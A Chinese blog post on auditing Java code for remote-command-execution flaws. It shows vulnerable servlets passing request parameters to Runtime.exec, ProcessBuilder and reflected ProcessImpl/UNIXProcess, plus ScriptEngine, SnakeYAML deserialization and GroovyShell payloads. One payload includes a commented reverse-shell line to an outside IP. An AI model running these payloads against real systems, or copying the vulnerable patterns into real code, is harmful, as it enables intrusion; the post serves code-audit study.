Java代码审计rce漏洞

Runtime

Runtime.exec("command")

public class LocalRuntime extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        String cmd = req.getParameter("cmd");
        InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
        ServletOutputStream sos = resp.getOutputStream();
        int len;
        byte[] bytes = new byte[1024];
        while ((len = ins.read(bytes))!=-1){
            sos.write(bytes, 0, len);
        }

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }
}

 

反射Runtime

1、反射获取Runtime的class对象

2、获取Runtime构造方法

3、newInstance一个新Runtime的实例对象

4、获取exec方法

5、invoke激活执行

public class ReflactRuntime extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        String cmd = req.getParameter("cmd");
        try {
            Class cls = Class.forName("java.lang.Runtime");
            Constructor constructor = cls.getDeclaredConstructor();
            constructor.setAccessible(true);
            Object runtime = constructor.newInstance();
            Method exec = cls.getMethod("exec", String.class);
            Process process = (Process) exec.invoke(runtime, cmd);

            InputStream ins = process.getInputStream();
            int len;
            byte[] bytes = new byte[1024];
            ServletOutputStream sos = resp.getOutputStream();
            while ((len = ins.read(bytes)) != -1){
                sos.write(bytes, 0, len);
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }
}

 

ProcessBuilder

ProcessBuilder此类用于创建操作系统进程。每个ProcessBuilder实例管理进程属性的集合。 start()方法使用这些属性创建一个新的Process实例。 start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。

ProcessBuilder.start()Runtime.exec方法都可以创建一个本机进程并返回一个Process子类的Process (Runtime.exec底层调用的也是ProcessBuilder.start()),可以用来控制进程并获取有关它的信息。

ProcessBuilder命令执行

1、创建ProcessBuilder实例化对象

2、调用start方法执行

3、返回的Process对象调用getInputStream获取输入流

4、读取输入流写入输出流

public class ProccessBuilder1 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        InputStream ins = new ProcessBuilder(req.getParameterValues("cmd")).start().getInputStream();
        ServletOutputStream sos = resp.getOutputStream();
        int len;
        byte[] buffer = new byte[1024];
        while ((len = ins.read(buffer)) != -1){
            sos.write(buffer,0, len);
        }

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }
}

ProcessBuilder.start()和Runtime.exec()的一些区别

ProcessBuilder.start() 和 Runtime.exec() 方法都被用来创建一个操作系统进程(执行命令行操作),并返回 Process 子类的一个实例,该实例可用来控制进程状态并获得相关信息。

ProcessBuilder.start() 和 Runtime.exec()传递的参数有所不同,Runtime.exec()可接受一个单独的字符串,这个字符串是通过空格来分隔可执行命令程序和参数的;也可以接受字符串数组参数。

而ProcessBuilder的构造函数是一个字符串列表或者数组。列表中第一个参数是可执行命令程序,其他的是命令行执行是需要的参数。

反射ProcessBuilder

这里需要注意有几点是不同于反射调Runtime的地方

1、首需要用List.class占位调用getConstructor(List.class)获取ProcessBuilder的有参构造。

2、传入的参数需要用Arrays.asList做一下处理,因为调的是List类型的有参构造。

示例代码

public class ReflactProccessBuilder extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String arg = req.getParameter("cmd");
            List<String> cmd = Arrays.asList(arg);
            System.out.println(cmd);

            Class cls = Class.forName("java.lang.ProcessBuilder");
            Constructor constructor = cls.getConstructor(List.class);
            constructor.setAccessible(true);
            Object pb = constructor.newInstance(cmd);
            Method start = cls.getMethod("start");
            Process process  = (Process) start.invoke(pb);
            InputStream ins = process.getInputStream();

            int len;
            byte[] buffer = new byte[1024];
            ServletOutputStream os = resp.getOutputStream();
            while ((len = ins.read(buffer)) != -1){
                os.write(buffer, 0, len);
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }
}

在本地下更简短的形式

Class cls = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("open -a calculator")));

ProcessImpl

说到这里其实ProcessImpl更为底层,ProcessBuilder.start()调用的就是它。

UNIXProcessProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

但是因为不能直接调用ProcessImpl所以只能通过反射来获取

public class ReflactProccessImpl extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        try {
            String[] cmds = req.getParameterValues("cmd");
            Class clazz = Class.forName("java.lang.ProcessImpl");
            Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            start.setAccessible(true);
            Process process = (Process) start.invoke(null, cmds, null, ".", null, true);
            InputStream ins = process.getInputStream();
            int len;
            byte[] buffer = new byte[1024];
            ServletOutputStream os = resp.getOutputStream();
            while ((len = ins.read(buffer)) != -1){
                os.write(buffer, 0, len);
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }
}

 

UNIXProcess

类似于ProcessImpl类

public class UNIXProccess1 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String[] cmds = req.getParameterValues("cmd");
            Class clazz = Class.forName("java.lang.UNIXProcess");
            Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            start.setAccessible(true);
            Process process = (Process) start.invoke(null, cmds, null, ".", null, true);
            InputStream ins = process.getInputStream();
            int len;
            byte[] buffer = new byte[1024];
            ServletOutputStream os = resp.getOutputStream();
            while ((len = ins.read(buffer)) != -1){
                os.write(buffer, 0, len);
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }
}

审计时需要注意的点

java.lang.Runtime
java.lang.Runtime.getRuntime()
java.lang.Runtime.getRuntime().exec
getMethod().invoke()
java.lang.ProcessBuilder
java.lang.ProcessBuilder.start()
java.lang.ProcessImpl
java.lang.UNIXProcess
...

其实像ProcessImplUNIXProcess可能遇到的概率会很小,大概率可能会出现RuntimeProcessBuilder以及反射去调用任意方法的执行,尤其是反射这个点,经常能看到getMethod().invoke()的点审计时可以重点定位这些危险类和方法即可,然后路由可通且没有Filter限制或者可以绕过即可RCE。

ScriptEngine命令执行(jscmd)

访问url为http://localhost:8080/rce/jscmd?jsurl=http://localhost/exe.js,传入的参数为一个JavaScript代码的url地址http://localhost/exe.js

var a = mainOutput();
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc");
}

源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码

/**
 * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
 *
 * curl http://xx.yy/zz.js
 * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
 *
 * @param jsurl js url
 */
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
	// js nashorn javascript ecmascript
	ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
	Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
	String cmd = String.format("load(\"%s\")", jsurl);
	engine.eval(cmd, bindings);
}

yml命令执行

YAML(YAML Ain't Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件

使用snakeyaml将yaml文件解析成javabean

添加maven依赖

复制<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

访问url为http://localhost:8080/rce/vuln/yarm
利用的是SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml内容时会完成指定的动作。

先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。

public void yarm(String content) {
	Yaml y = new Yaml();
	y.load(content);
}

payload在https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java有。
payload AwesomeScriptEngineFactory.java源码如下:

package artsploit; 
 import javax.script.ScriptEngine; 
import javax.script.ScriptEngineFactory; 
import java.io.IOException; 
import java.util.List; 
 public class AwesomeScriptEngineFactory implements ScriptEngineFactory { 
 public AwesomeScriptEngineFactory() { 
try { 
      Runtime.getRuntime().exec("notepad.exe"); 
      //Runtime.getRuntime().exec("Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/111.229.85.3/12323 0>&1"});"); 
    } catch (IOException e) { 
          e.printStackTrace(); 
   } 
} 
 @Override 
public String getEngineName() { 
return null; 
} 
 @Override 
public String getEngineVersion() { 
return null; 
} 
 @Override 
public List<String> getExtensions() { 
return null; 
} 
 @Override 
public List<String> getMimeTypes() { 
return null; 
} 
 @Override 
public List<String> getNames() { 
return null; 
} 
 @Override 
public String getLanguageName() { 
return null; 
} 
 @Override 
public String getLanguageVersion() { 
return null; 
} 
 @Override 
public Object getParameter(String key) { 
return null; 
} 
 @Override 
public String getMethodCallSyntax(String obj, String m, String... args) { 
return null; 
} 
 @Override 
public String getOutputStatement(String toDisplay) { 
return null; 
} 
 @Override 
public String getProgram(String... statements) { 
return null; 
} 
 @Override 
public ScriptEngine getScriptEngine() { 
return null; 
} 
}

https://github.com/artsploit/yaml-payload下载下来,取其中src部
对上面java代码进行打包,在javac.exe下进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

随后将以下内容传递给参数即可。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://localhost/yaml-payload.jar"]
  ]]
]

拼接后url

http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://localhost/yaml-payload.jar"]
  ]]
]

groovy

Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与Java 代码很好地结合,也能用于扩展现有代码

Groovy语法:
https://www.w3cschool.cn/groovy/

访问url为http://localhost:8080/rce/groovy?content='calc'.execute()
GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。

public void groovyshell(String content) {
	GroovyShell groovyShell = new GroovyShell();
	groovyShell.evaluate(content);
}

总结

全局搜索有以下关键字,需注重
Runtime     StringBuilder     ScriptEngineManager     Yaml    GroovyShell

猜你喜欢

转载自blog.csdn.net/m0_55772907/article/details/127865056
今日推荐